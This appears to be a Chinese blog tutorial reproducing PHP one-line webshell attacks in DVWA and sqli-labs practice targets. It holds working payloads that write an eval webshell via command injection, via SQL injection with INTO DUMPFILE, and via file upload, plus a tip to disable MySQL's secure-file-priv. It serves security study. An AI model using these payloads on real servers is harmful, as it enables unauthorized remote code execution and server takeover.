一句话木马攻击复现:揭示黑客入侵的实战过程

准备环境

  • OWASP虚拟机
  • xfp 7与xshell 7

  • DVWA系统默认的账号密码均为:admin/admin

1、命令注入中复现

攻击payload

sql 复制代码
127.0.0.1 | echo "<?php @eval(\$_POST[\"cmd\"])?>" > /var/www/shell.php

这个命令的目的是在服务器上创建一个名为 shell.php 的文件,其中包含 PHP 代码。让我们逐步分析该命令:

  • 127.0.0.1: 这是一个IP地址(本地回环地址),代表要连接的目标主机。

  • |:管道符号,用于将前一个命令的输出作为后一个命令的输入。

  • echo "<?php @eval(\$_POST[\"cmd\"])?>": 这是一个echo命令,它将字符串 <?php @eval(\$_POST["cmd"])?> 输出到标准输出。

  • >:重定向操作符,将前一个命令的输出写入到后一个命令指定的文件中。

  • /var/www/shell.php:这是目标文件路径,表示要将输出写入到 /var/www/ 目录下的名为 shell.php 的文件。

综上所述,如果成功执行此命令,则会在服务器的 /var/www/ 目录下创建一个名为 shell.php 的文件,并将 <?php @eval(\$_POST["cmd"])?> 的内容写入到该文件中。由于该PHP代码使用了 eval 函数,它会执行用户在 POST 请求(通过 cmd 参数)中输入的命令。

下面是一些常见的命令连接符及其作用:(如果管道符"|"被过滤了就可以使用其他的代替)
  1. &:将两个命令并行执行,无论前一个命令是否成功。

  2. &&:只有当前一个命令成功执行时,才会执行后一个命令。

  3. |:将前一个命令的输出作为后一个命令的输入。

  4. ||:只有当前一个命令执行失败时,才会执行后一个命令。

复现

在靶机中查看木马文件

最后就能在靶机看到我们的文件了,我们的文件保存在/var/www/目录下,查看方法:

  • cd /var/www/ -> ls # 之后就能看到/var/www/下的文件信息

我跟喜欢使用xfp 7与xshell 7来输入命令与查看文件

使用蚁剑或菜刀连接木马

成功进入目标文件管理界面,攻击复现成功

注意:虽然我们的shell.php木马文件存放在/var/www/目录下,但是我们连接只需要使用靶机IP+文件名即可。因为Web服务器已经将根目录设置为 /var/www/,所以不需要在 URL 中显式指定该目录。只需使用 http://<IP地址>/文件名 的格式即可访问该文件。

2、SQL注入中复现

攻击payload

sql 复制代码
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --
  • UNION SELECT 1,1,"<?php @eval(\$_POST[\"cmd\"])?>":这是一个 UNION SELECT 查询,它将会返回两列。第一列是数字 1,第二列是数字 1,第三列是 PHP 代码 <?php @eval(\$_POST["cmd"])?>。这段代码是恶意的,它尝试执行通过 POST 请求传递的 cmd 参数作为代码进行执行。
  • INTO DUMPFILE "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php":这个部分尝试将查询结果保存到指定的文件路径 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 中。这将会创建一个名为 shell.php 的文件,并将查询结果写入其中。
  • --:这是 SQL 中的注释符号,表示注释掉后续的内容。

总的来说,该语句的目的是将恶意代码写入到 F:\\phpStudy\\PHPTutorial\\WWW\\shell.php 文件中,以便在攻击者控制的环境中执行该代码。这种攻击常用于获取未经授权的访问权限、控制目标服务器或进行其他恶意活动。

复现(我这里用**sqlilabs靶场**)

安装: 详细安装sqlmap详细教程_sqlmap安装教程_mingzhi61的博客-CSDN博客

**安装完成后打开:**http://127.0.0.1/sqlilabs/Less-2/?id=1

本来我是用DVWA靶场复现的搞了半天都搞不定一直提示"用户"dvwa"@"%"的访问被拒绝(使用密码:YES)"解决不了换靶场

1)先判断显示位(测试是否存在SQL注入)

sql 复制代码
-1 union select 1,2,3 -- -

命令可以使用插件 HackBar 来发送也可以直接粘贴到网络的url中执行(工具本文开头的环境准备可以下载)

2)再判断路径(判断MysQL的存储路径方便我们写入一句话马)

sql 复制代码
-1 union select 1,@@datadir,3 -- -

3)写入WebShell

sql 复制代码
-1 union select 1,1,"<?php @eval(\$_POST[\"cmd\"])?>" into dumpfile "F:\\phpStudy\\PHPTutorial\\WWW\\shell.php" --

代码执行只要不报错就行成功了

注意: MySQL 服务器默认情况使用了 --secure-file-priv 选项,限制了 INTO OUTFILE 的功能。

**解决:**你可以尝试以下步骤:

  • 打开 phpStudy 的安装目录,找到 my.ini(或 my.cnf)配置文件。
  • 在配置文件中找到 [mysqld] 部分。
  • [mysqld] 部分添加或修改下列行:
sql 复制代码
[mysqld] secure-file-priv=""
  • 保存配置文件,并重启 phpStudy 中的 MySQL 服务器。

通过将 secure-file-priv 设置为空字符串,你可以移除文件路径限制,允许使用 INTO OUTFILE 语句将查询结果输出到任意位置。

连接

参考文章:SQL注入篇------一句话木马_sql注马语句_admin-r꯭o꯭ot꯭的博客-CSDN博客

3、文件上传漏洞中复现

攻击payload

准备一个木马文件如:cmd.php

php 复制代码
<?php @eval($_POST["cmd"])?>

复现

连接

php 复制代码
主机IP+/dvwa/hackable/uploads/cmd.php

# 注意路径前面要加上dvwa,因为我们是在dvwa靶场上实验的,在虚拟机的WWW目录下有很多个靶场所以我们要指定靶场
相关推荐
lrydnh1 小时前
数据库语句
android·数据库
去看全世界的云1 小时前
【Kotlin】Kotlin基础笔记
android·java·笔记·kotlin
tangweiguo030519871 小时前
Android打造易用的 WiFi 工具类:WifiUtils 封装实践
android·java·wifi
Legendary_0082 小时前
LDR6500:革新手机OTG充电体验的关键芯片
android·智能手机
今阳2 小时前
鸿蒙开发笔记-11-LazyForEach 数据懒加载
android·华为·harmonyos
pengyu2 小时前
系统化掌握Flutter组件之Transform:空间魔法师
android·flutter·dart
岸芷漫步2 小时前
retrofit框架分析
android
&有梦想的咸鱼&2 小时前
Android OKHttp缓存模块原理分析
android·okhttp·缓存
顾林海2 小时前
解锁Android Activity:从原理到实战的深度剖析
android
双鱼大猫3 小时前
Android Dalvik虚拟机内存参数优化指南
android